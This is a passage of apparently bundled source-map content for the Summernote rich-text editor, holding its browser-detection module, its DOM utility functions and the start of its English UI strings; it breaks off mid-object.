originalWidth = $tester.css('fontFamily', testFontName).width();\n  const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();\n\n  $tester.remove();\n\n  return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n  let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n  matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\nif (!hasCodeMirror && isSupportAmd) {\n  // Webpack\n  if (typeof __webpack_require__ === 'function') { // eslint-disable-line\n    try {\n      // If CodeMirror can't be resolved, `require.resolve` will throw an\n      // exception and `hasCodeMirror` won't be set to `true`.\n      require.resolve('codemirror');\n      hasCodeMirror = true;\n    } catch (e) {\n      // do nothing\n    }\n  } else if (typeof require !== 'undefined') {\n    // Browserify\n    if (typeof require.resolve !== 'undefined') {\n      try {\n        // If CodeMirror can't be resolved, `require.resolve` will throw an\n        // exception and `hasCodeMirror` won't be set to `true`.\n        require.resolve('codemirror');\n        hasCodeMirror = true;\n      } catch (e) {\n        // do nothing\n      }\n    // Almond/Require\n    } else if (typeof require.specified !== 'undefined') {\n      hasCodeMirror = require.specified('codemirror');\n    }\n  }\n}\n\nconst isSupportTouch =\n  (('ontouchstart' in window) ||\n   (navigator.MaxTouchPoints > 0) ||\n   (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n  isMac: navigator.appVersion.indexOf('Mac') > -1,\n  isMSIE,\n  isEdge,\n  isFF: !isEdge && /firefox/i.test(userAgent),\n  isPhantom: /PhantomJS/i.test(userAgent),\n  isWebkit: !isEdge && /webkit/i.test(userAgent),\n  isChrome: !isEdge && /chrome/i.test(userAgent),\n  isSafari: !isEdge && /safari/i.test(userAgent),\n  browserVersion,\n  jqueryVersion: parseFloat($.fn.jquery),\n  isSupportAmd,\n  isSupportTouch,\n  hasCodeMirror,\n  isFontInstalled,\n  isW3CRangeSupport: !!document.createRange,\n  inputEventName\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n  return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n  return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n  nodeName = nodeName.toUpperCase();\n  return function(node) {\n    return node && node.nodeName.toUpperCase() === nodeName;\n  };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n  return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n  return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n  return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n  if (isEditable(node)) {\n    return false;\n  }\n\n  // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n  return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n  return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n  return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n  return !isBodyContainer(node) &&\n         !isList(node) &&\n         !isHr(node) &&\n         !isPara(node) &&\n         !isTable(node) &&\n         !isBlockquote(node) &&\n         !isData(node);\n}\n\nfunction isList(node) {\n  return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n  return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n  return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n  return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n  return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n  return nodeA.nextSibling === nodeB ||\n         nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n  pred = pred || func.ok;\n\n  const siblings = [];\n  if (node.previousSibling && pred(node.previousSibling)) {\n    siblings.push(node.previousSibling);\n  }\n  siblings.push(node);\n  if (node.nextSibling && pred(node.nextSibling)) {\n    siblings.push(node.nextSibling);\n  }\n  return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with &nbsp;\n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n  if (isText(node)) {\n    return node.nodeValue.length;\n  }\n\n  if (node) {\n    return node.childNodes.length;\n  }\n\n  return 0;\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n  const len = nodeLength(node);\n\n  if (len === 0) {\n    return true;\n  } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n    // ex) <p><br></p>, <span><br></span>\n    return true;\n  } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n    // ex) <p></p>, <span></span>\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n  if (!isVoid(node) && !nodeLength(node)) {\n    node.innerHTML = blankHTML;\n  }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n  while (node) {\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n  node = node.parentNode;\n\n  while (node) {\n    if (nodeLength(node) !== 1) { break; }\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n  pred = pred || func.fail;\n\n  const ancestors = [];\n  ancestor(node, function(el) {\n    if (!isEditable(el)) {\n      ancestors.push(el);\n    }\n\n    return pred(el);\n  });\n  return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n  const ancestors = listAncestor(node);\n  return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n  const ancestors = listAncestor(nodeA);\n  for (let n = nodeB; n; n = n.parentNode) {\n    if ($.inArray(n, ancestors) > -1) { return n; }\n  }\n  return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.previousSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.nextSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n  const descendants = [];\n  pred = pred || func.ok;\n\n  // start DFS(depth first search) with node\n  (function fnWalk(current) {\n    if (node !== current && pred(current)) {\n      descendants.push(current);\n    }\n    for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n      fnWalk(current.childNodes[idx]);\n    }\n  })(node);\n\n  return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n  const parent = node.parentNode;\n  const wrapper = $('<' + wrapperName + '>')[0];\n\n  parent.insertBefore(wrapper, node);\n  wrapper.appendChild(node);\n\n  return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n  const next = preceding.nextSibling;\n  let parent = preceding.parentNode;\n  if (next) {\n    parent.insertBefore(node, next);\n  } else {\n    parent.appendChild(node);\n  }\n  return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n  $.each(aChild, function(idx, child) {\n    node.appendChild(child);\n  });\n  return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n  return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n  return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n  return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n  while (node && node !== ancestor) {\n    if (position(node) !== 0) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n  if (!ancestor) {\n    return false;\n  }\n  while (node && node !== ancestor) {\n    if (position(node) !== nodeLength(node.parentNode) - 1) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n  return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n  return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n  let offset = 0;\n  while ((node = node.previousSibling)) {\n    offset += 1;\n  }\n  return offset;\n}\n\nfunction hasChildren(node) {\n  return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n  let node;\n  let offset;\n\n  if (point.offset === 0) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node);\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset - 1];\n    offset = nodeLength(node);\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? 0 : point.offset - 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n  let node, offset;\n\n  if (nodeLength(point.node) === point.offset) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node) + 1;\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset];\n    offset = 0;\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n  return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n  if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n    return true;\n  }\n\n  const leftNode = point.node.childNodes[point.offset - 1];\n  const rightNode = point.node.childNodes[point.offset];\n  if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = prevPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = nextPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n  if (!isText(point.node)) {\n    return false;\n  }\n\n  const ch = point.node.nodeValue.charAt(point.offset - 1);\n  return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n  let point = startPoint;\n\n  while (point) {\n    handler(point);\n\n    if (isSamePoint(point, endPoint)) {\n      break;\n    }\n\n    const isSkipOffset = isSkipInnerOffset &&\n                       startPoint.node !== point.node &&\n                       endPoint.node !== point.node;\n    point = nextPoint(point, isSkipOffset);\n  }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n  const ancestors = listAncestor(node, func.eq(ancestor));\n  return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n  let current = ancestor;\n  for (let i = 0, len = offsets.length; i < len; i++) {\n    if (current.childNodes.length <= offsets[i]) {\n      current = current.childNodes[current.childNodes.length - 1];\n    } else {\n      current = current.childNodes[offsets[i]];\n    }\n  }\n  return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n  const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n  const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n\n  // edge case\n  if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n    if (isLeftEdgePoint(point)) {\n      return point.node;\n    } else if (isRightEdgePoint(point)) {\n      return point.node.nextSibling;\n    }\n  }\n\n  // split #text\n  if (isText(point.node)) {\n    return point.node.splitText(point.offset);\n  } else {\n    const childNode = point.node.childNodes[point.offset];\n    const clone = insertAfter(point.node.cloneNode(false), point.node);\n    appendChildNodes(clone, listNext(childNode));\n\n    if (!isSkipPaddingBlankHTML) {\n      paddingBlankHTML(point.node);\n      paddingBlankHTML(clone);\n    }\n\n    return clone;\n  }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n  // ex) [#text, <span>, <p>]\n  const ancestors = listAncestor(point.node, func.eq(root));\n\n  if (!ancestors.length) {\n    return null;\n  } else if (ancestors.length === 1) {\n    return splitNode(point, options);\n  }\n\n  return ancestors.reduce(function(node, parent) {\n    if (node === point.node) {\n      node = splitNode(point, options);\n    }\n\n    return splitNode({\n      node: parent,\n      offset: node ? position(node) : nodeLength(parent)\n    }, options);\n  });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n  // find splitRoot, container\n  //  - inline: splitRoot is a child of paragraph\n  //  - block: splitRoot is a child of bodyContainer\n  const pred = isInline ? isPara : isBodyContainer;\n  const ancestors = listAncestor(point.node, pred);\n  const topAncestor = lists.last(ancestors) || point.node;\n\n  let splitRoot, container;\n  if (pred(topAncestor)) {\n    splitRoot = ancestors[ancestors.length - 2];\n    container = topAncestor;\n  } else {\n    splitRoot = topAncestor;\n    container = splitRoot.parentNode;\n  }\n\n  // if splitRoot is exists, split with splitTree\n  let pivot = splitRoot && splitTree(splitRoot, point, {\n    isSkipPaddingBlankHTML: isInline,\n    isNotSplitEdgePoint: isInline\n  });\n\n  // if container is point.node, find pivot with point.offset\n  if (!pivot && container === point.node) {\n    pivot = point.node.childNodes[point.offset];\n  }\n\n  return {\n    rightNode: pivot,\n    container: container\n  };\n}\n\nfunction create(nodeName) {\n  return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n  return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n  if (!node || !node.parentNode) { return; }\n  if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n  const parent = node.parentNode;\n  if (!isRemoveChild) {\n    const nodes = [];\n    for (let i = 0, len = node.childNodes.length; i < len; i++) {\n      nodes.push(node.childNodes[i]);\n    }\n\n    for (let i = 0, len = nodes.length; i < len; i++) {\n      parent.insertBefore(nodes[i], node);\n    }\n  }\n\n  parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n  while (node) {\n    if (isEditable(node) || !pred(node)) {\n      break;\n    }\n\n    const parent = node.parentNode;\n    remove(node);\n    node = parent;\n  }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n  if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n    return node;\n  }\n\n  const newNode = create(nodeName);\n\n  if (node.style.cssText) {\n    newNode.style.cssText = node.style.cssText;\n  }\n\n  appendChildNodes(newNode, lists.from(node.childNodes));\n  insertAfter(newNode, node);\n  remove(node);\n\n  return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n  const val = isTextarea($node[0]) ? $node.val() : $node.html();\n  if (stripLinebreaks) {\n    return val.replace(/[\\n\\r]/g, '');\n  }\n  return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n  let markup = value($node);\n\n  if (isNewlineOnBlock) {\n    const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n    markup = markup.replace(regexTag, function(match, endSlash, name) {\n      name = name.toUpperCase();\n      const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n                                   !!endSlash;\n      const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n      return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n    });\n    markup = $.trim(markup);\n  }\n\n  return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n  const $placeholder = $(placeholder);\n  const pos = $placeholder.offset();\n  const height = $placeholder.outerHeight(true); // include margin\n\n  return {\n    left: pos.left,\n    top: pos.top + height\n  };\n}\n\nfunction attachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.on(key, events[key]);\n  });\n}\n\nfunction detachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.off(key, events[key]);\n  });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n  return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n  /** @property {String} NBSP_CHAR */\n  NBSP_CHAR,\n  /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n  ZERO_WIDTH_NBSP_CHAR,\n  /** @property {String} blank */\n  blank: blankHTML,\n  /** @property {String} emptyPara */\n  emptyPara: `<p>${blankHTML}</p>`,\n  makePredByNodeName,\n  isEditable,\n  isControlSizing,\n  isText,\n  isElement,\n  isVoid,\n  isPara,\n  isPurePara,\n  isHeading,\n  isInline,\n  isBlock: func.not(isInline),\n  isBodyInline,\n  isBody,\n  isParaInline,\n  isPre,\n  isList,\n  isTable,\n  isData,\n  isCell,\n  isBlockquote,\n  isBodyContainer,\n  isAnchor,\n  isDiv: makePredByNodeName('DIV'),\n  isLi,\n  isBR: makePredByNodeName('BR'),\n  isSpan: makePredByNodeName('SPAN'),\n  isB: makePredByNodeName('B'),\n  isU: makePredByNodeName('U'),\n  isS: makePredByNodeName('S'),\n  isI: makePredByNodeName('I'),\n  isImg: makePredByNodeName('IMG'),\n  isTextarea,\n  isEmpty,\n  isEmptyAnchor: func.and(isAnchor, isEmpty),\n  isClosestSibling,\n  withClosestSiblings,\n  nodeLength,\n  isLeftEdgePoint,\n  isRightEdgePoint,\n  isEdgePoint,\n  isLeftEdgeOf,\n  isRightEdgeOf,\n  isLeftEdgePointOf,\n  isRightEdgePointOf,\n  prevPoint,\n  nextPoint,\n  isSamePoint,\n  isVisiblePoint,\n  prevPointUntil,\n  nextPointUntil,\n  isCharPoint,\n  walkPoint,\n  ancestor,\n  singleChildAncestor,\n  listAncestor,\n  lastAncestor,\n  listNext,\n  listPrev,\n  listDescendant,\n  commonAncestor,\n  wrap,\n  insertAfter,\n  appendChildNodes,\n  position,\n  hasChildren,\n  makeOffsetPath,\n  fromOffsetPath,\n  splitTree,\n  splitPoint,\n  create,\n  createText,\n  remove,\n  removeWhile,\n  replace,\n  html,\n  value,\n  posFromPlaceholder,\n  attachEvents,\n  detachEvents,\n  isCustomStyleTag\n};\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n  lang: {}\n};\n\n$.extend($.summernote.lang, {\n  'en-US': {\n    font: {\n      bold: 'Bold',\n      italic: 'Italic',\n      underline: 'Underline',\n      clear: 'Remove Font Style',\n      height: 'Line Height',\n      name: 'Font Family',\n      strikethrough: 'Strikethrough',\n      subscript: 'Subscript',\n      superscript: 'Superscript',\n      size: 'Font Size'\n    },\n    image: {\n      image: 'Picture',\n      insert: 'Insert Image',\n      resizeFull: 'Resize Full',\n      resizeHalf: 'Resize Half',\n      resizeQuarter: 'Resize Quarter',\n      floatLeft: 'Float Left',\n      floatRight: 'Float Right',\n      floatNone: 'Float None',\n      shapeRounded: 'Shape: Rounded',\n      shapeCircle: 'Shape: Circle',\n      shapeThumbnail: 'Shape: Thumbnail',\n      shapeNone: 'Shape: None',\n      dragImageHere: 'Drag image or text here',\n      dropImage: 'Drop image or Text',\n      selectFromFiles: 'Select from files',\n      maximumFileSize: 'Maximum file size',\n      maximumFileSizeError: 'Maximum file size exceeded.',\n      url: 'Image URL',\n      remove: 'Remove Image',\n      original: 'Original'\n    },\n    video: {\n      video: 'Video',\n      videoLink: 'Video Link',\n      insert: 'Insert Video',\n      url: 'Video URL',\n      providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'\n    },\n    link: {\n      link: 'Link',\n      insert: 'Insert Link',\n      unlink: 'Unlink',\n      edit: 'Edit',\n      textToDisplay: 'Text to display',\n      url: 'To what URL should this link go?',\n      openInNewWindow: 'Open in new window'\n    },\n    table: {\n      table: 'Table',\n      addRowAbove: 'Add row above',\n      addRowBelow: 'Add row below',\n      addColLeft: 'Add column left',\n      addColRight: 'Add column right',\n      delRow: 'Delete row',\n      delCol: 'Delete column',\n      delTable: 'Delete table'\n    },\n    hr: {\n      insert: 'Insert Horizontal Rule'\n    },\n    style: {\n      style: 'Style',\n      p: 'Normal',\n      blockquote: 'Quote',\n      pre: 'Code',\n      h1: 'Header 1',\n      h2: 'Header 2',\n      h3: 'Header 3',\n      h4: 'Header 4',\n      h5: 'Header 5',\n      h6: 'Header 6'\n    },\n    lists: {\n      unordered: 'Unordered list',\n      ordered: 'Ordered list'\n    },\n    options: {\n      help: 'Help',\n      fullscreen: 'Full Screen',\n      codeview: 'Code View'\n    },\n    paragraph: {\n      paragraph: 'Paragraph',\n      outdent: 'Outdent',\n      indent: 'Indent',\n      left: 'Align left',\n      center: 'Align center',\n      right: 'Align right',\n      justify: 'Justify full'\n    },\n    color: {\n      recent: 'Recent Color',\n      more: 'More Color',\n      background: 'Background Color',\n      foreground: 'Foreground Color',\n      transparent: 'Transparent',\n      setTransparent: 'Set transparent',\n      reset: 'Reset',\n      resetToDefault: 'Reset to default'\n    },\n    shortcut: {\n      shortcuts: 'Keyboard shortcuts',\n      close: 'Close',\n      textFormatting: 'Text formatting',\n      action: 'Action',\n      paragraphFormatting: 'Paragraph formatting',\n      documentStyle: 'Document Style',\n      extraKeys: 'Extra keys'\n    },\n    help: {\n      'insertParagraph': 'Insert Paragraph',\n      'undo': 'Undoes the last command',\n      'redo': 'Redoes the last command',\n      'tab': 'Tab',\n      'untab': 'Untab',\n      'bold': 'Set a bold style',\n      'italic': 'Set a italic style',\n      'underline': 'Set a underline style',\n      'strikethrough': 'Set a strikethrough style',\n      'removeFormat': 'Clean a style',\n      'justifyLeft': 'Set left align',\n      'justifyCenter': 'Set center align',\n      'justifyRight': 'Set right align',\n      'justifyFull': 'Set full align',\n      'insertUnorderedList': 'Toggle unordered list',\n      'insertOrderedList': 'Toggle ordered list',\n      'outdent': 'Outdent on current paragraph',\n      'indent': 'Indent on current paragraph',\n      'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n      'formatH1': 'Change current block\\'s format as H1',\n      'formatH2': 'Change current block\\'s format as H2',\n      'formatH3': 'Change current block\\'s format as H3',\n      'formatH4': 'Change current block\\'s format as H4',\n      'formatH5': 'Change current block\\'s format as H5',\n      'formatH6': 'Change current block\\'s format as H6',\n      'insertHorizontalRule': 'Insert horizontal rule',\n      'linkDialog.show': 'Show Link Dialog'\n    },\n    history: {\n      undo: 'Undo',\n      redo: 'Redo'\n    },\n    specialChar: {\n      specialChar: 'SPECIAL CHARACTERS',\n      select: 'Select Special characters'\n    }\n  